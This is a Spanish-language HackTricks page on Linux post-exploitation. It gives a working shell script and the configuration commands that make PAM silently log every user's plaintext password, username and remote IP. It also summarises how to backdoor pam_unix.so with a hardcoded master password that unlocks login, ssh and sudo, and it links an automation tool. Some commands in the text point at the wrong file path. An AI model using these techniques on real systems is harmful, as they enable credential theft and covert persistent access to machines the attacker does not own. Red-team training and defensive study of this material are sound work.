hacktricks/linux-hardening/linux-post-exploitation/README.md

6 KiB

Post-Explotación en Linux

{% hint style="success" %} Aprende y practica Hacking en AWS: HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}

Capturando Contraseñas de Inicio de Sesión con PAM

Configuremos un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Para más detalles consulta el post original. Esto es solo un resumen:

Resumen de la Técnica: Los Módulos de Autenticación Enchufables (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad personalizando los procesos de inicio de sesión, pero también plantean riesgos si se utilizan incorrectamente. Este resumen describe una técnica para capturar credenciales de inicio de sesión utilizando PAM, junto con estrategias de mitigación.

Capturando Credenciales:

  • Se crea un script bash llamado toomanysecrets.sh para registrar intentos de inicio de sesión, capturando la fecha, nombre de usuario ($PAM_USER), contraseña (a través de stdin) y la IP del host remoto ($PAM_RHOST) en /var/log/toomanysecrets.log.
  • Se hace ejecutable el script e se integra en la configuración de PAM (common-auth) utilizando el módulo pam_exec.so con opciones para ejecutar en silencio y exponer el token de autenticación al script.
  • El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales discretamente.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Instalación de una puerta trasera en PAM

Para más detalles, consulta el post original. Esto es solo un resumen:

El Módulo de Autenticación Enchufable (PAM) es un sistema utilizado en Linux para la autenticación de usuarios. Opera en tres conceptos principales: nombre de usuario, contraseña y servicio. Los archivos de configuración para cada servicio se encuentran en el directorio /etc/pam.d/, donde las bibliotecas compartidas manejan la autenticación.

Objetivo: Modificar PAM para permitir la autenticación con una contraseña específica, evitando la contraseña real del usuario. Esto se enfoca particularmente en la biblioteca compartida pam_unix.so utilizada por el archivo common-auth, que es incluido por casi todos los servicios para la verificación de contraseñas.

Pasos para Modificar pam_unix.so:

  1. Localiza la Directiva de Autenticación en el archivo common-auth:
  • La línea responsable de verificar la contraseña de un usuario llama a pam_unix.so.
  1. Modifica el Código Fuente:
  • Agrega una declaración condicional en el archivo fuente pam_unix_auth.c que otorga acceso si se utiliza una contraseña predefinida, de lo contrario, continúa con el proceso de autenticación habitual.
  1. Recompila y Reemplaza la biblioteca pam_unix.so modificada en el directorio apropiado.
  2. Prueba:
  • Se otorga acceso a través de varios servicios (inicio de sesión, ssh, sudo, su, protector de pantalla) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin cambios.

{% hint style="info" %} Puedes automatizar este proceso con https://github.com/zephrax/linux-pam-backdoor {% endhint %}

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}